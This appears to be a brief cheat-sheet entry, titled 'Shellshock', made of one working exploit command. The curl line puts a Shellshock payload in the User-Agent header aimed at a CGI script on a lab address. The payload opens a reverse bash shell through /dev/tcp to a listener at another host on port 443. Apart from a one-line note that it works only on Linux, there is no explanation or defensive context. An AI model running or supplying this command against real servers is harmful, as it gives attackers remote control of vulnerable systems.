Shellshock

This only works on Linux environment

curl --user-agent "() { ignored;}; /bin/bash -i >& /dev/tcp/10.11.0.98/443 0>&1" \
    http://10.11.1.71/cgi-bin/admin.cgi